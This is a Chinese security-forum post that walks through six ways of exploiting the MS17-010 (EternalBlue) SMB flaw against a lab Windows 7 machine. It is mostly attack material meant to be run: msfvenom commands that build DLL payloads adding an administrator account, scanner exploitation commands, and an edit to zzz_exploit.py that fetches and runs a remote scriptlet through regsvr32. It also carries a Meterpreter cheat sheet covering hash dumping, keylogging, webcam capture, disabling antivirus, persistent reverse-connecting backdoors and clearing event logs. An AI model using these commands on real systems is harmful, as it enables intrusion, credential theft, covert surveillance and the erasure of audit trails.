内网渗透之ms07010的多种打法
vghost 发表于 江苏 渗透测试 3769浏览 · 2024-05-14 09:15

一、漏洞简介:

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件

1、漏洞原理:

永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。

2、影响版本:

WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

二、漏洞复现

环境:

● 攻击机:Linux Kali (IP:192.168.x.165)
● 靶机(目标机):Windows 7 (IP:192.168.x.166)
复现过程:

漏洞利用方式:

美国NSA的方程式工具包于2016至2017年由影子经纪人逐步放出,其内置的多个针对Windows系统、Linux系统的远程溢出漏洞,让全世界的安全爱好者都为之震惊。其利用脚本依附于python2.6环境运行,间接说明美国NSA使用这些核弹级别的0day漏洞,至少10年以上。但是其命令行的使用方法异常复杂,有时候一个参数设置错误了,都会造成漏洞利用不成功,甚至系统蓝屏。为此ABC_123针对方程式工具包进行了深入研究,编写一个图形界面版,方便大家使用。
生成漏洞利用的dll文件
在使用该工具之前,需要自己生成两个dll文件,文件名分别为x86.dll、x64.dll,放到工具的根目录下。比较简单的方法是,通过metasploit的msfvenom模块,生成添加系统账号密码的dll文件,方程式工具包漏洞利用会用到此dll文件实现添加账号密码、反弹shell等功能,当然您可以自己编写一个dll文件,实现自己想要的功能。

方法1:使用abc师傅工具进行渗透

使用msf生成木马

msfvenom -p windows/x64/exec CMD='cmd.exe /k "net user admin01 Config123!@# /add && net localgroup administrators admin01 /add"' EXITFUNC=none -f dll > /tmp/x64.dll
msfvenom -p windows/exec CMD='cmd.exe /k "net user admin01 Config123!@# /add && net localgroup administrators admin01 /add"' EXITFUNC=none -f dll > /tmp/x86.dll
接着然后下载工具。

使用图形化版本,然后添加用户。

成功添加admin01用户。

方法2:使用原版方程式工具

下载原版工具。

然后写入dll文件,成功添加用户。

方法3: msf

使用msf去搜索ms07010

选择3.

然后设置远程目标地址和端口,然后exploit就行。

提权并添加用户。
net user
net user adam adamd2 /add
net localgroup Administrators guofan /add
net localgroup Administrators
发现成功添加新用户。

远程登录:

然后使用新用户可以远程登录桌面

方法4:使用 ladon进行测试

用法:
https://cloud.tencent.com/developer/article/2094794
漏洞检测
无损检测,不会对目标造成任何危害,大家无需担心
Ladon 192.168.1.8 MS17010 Ladon 192.168.1.8/24 MS17010 Ladon 192.168.1.8/c MS17010
独立使用
只需提供IP或IP列表即可自动利用永恒之蓝,当然也可以使用Ladon来批量甚至全网
PS: 由于当时漏洞影响很大,所以并未放出一键批量工具,现在4年过去了,还没打补丁就只能建议开除维护人员了,工具调用的是NSA原版的EXP,所以整个SMBSCAN目录里的文件基本上都是被杀的,这就不方便集成在Ladon里,以免Ladon被所有杀软杀。

方法5:使用fscan扫描

fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add

方法6: zzz_exploit.py

github地址:https://github.com/worawit/MS17-010
该脚本有几个关键点需要注意:
1、 需要有一个系统可登陆的smb账户,可通过爆破等方式获取

2、需要有一个管道名。常见的管道名如下:

netlogon lsarpc samr browser atsvc DAV RPC SERVICE epmapper eventlog InitShutdown keysvc lsass LSM_API_service ntsvcs plugplay protected_storage router SapiServerPipeS-1-5-5-0-70123 scerpc srvsvc tapsrv trkwks W32TIME_ALT wkssvc PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER db2remotecmd

3、 默认的脚本是在c盘创建一个pwn.txt文件,需要修改为cs或者msf生成的执行文件,就能反弹

def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()

    print('creating file c:\\pwned.txt on the target')
    tid2 = smbConn.connectTree('C$')
    fid2 = smbConn.createFile(tid2, '/pwned.txt')
    smbConn.closeFile(tid2, fid2)
    smbConn.disconnectTree(tid2)

可改为如下代码

service_exec(conn, r'cmd /c regsvr32 /s /n /u /i:http://x.x.x.x/test.sct scrobj.dll')

MSF后渗透用法补充:

后渗透阶段

输入shell,就能进入到windows的shell界面

从shell退出到meterpreter,输入exit

从meterpreter退出到MSF,输入background

输入sessions -l 查看我们获得的shell
输入sessions -i 1就能切换到id为1的shell

在meterpreter >中,我们可以使用以下命令来实现对目标的操作

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run                          #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接
                                   192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev                       #清除日志

其他命令大家可自行尝试

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

查看目标主机是否运行在虚拟机上

关闭杀毒软件

访问文件系统

meterpreter非常多的文件系统命令都基本和linux类似。

下载/上传文件

download file 从目标主机下载文件
upload file 上传文件到目标主机

权限提升

有时候我们得到的用户权限非常低,这时候我们就需要提权(这里我是最高权限了)

运行程序

查看目标主机安装了哪些应用

可以使用execute命令在目标系统中执行程序
可选参数:

-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:  跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程

屏幕截图

创建新账号

先查看目标主机有哪些账号

在目标机中创建一个新的账号
创建成功了,但是报错了

我们也可以在shell里面创建用户

开启远程桌面

当我们有一个账号,就可以用远程桌面进行登录了

使用扩展库

生成持续性后门

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接,这样太麻烦了。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
通过启动项启动
我们生成一个后门木马,放到启动项中
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
通过服务启动
我们可以运行命令
run persistence -X -i 5 -p 8888 -r 192.168.88.165

就会在目标机中看到一个.vbs文件,缺点是容易被杀

清除事件日志

1 条评论
某人
表情
可输入 255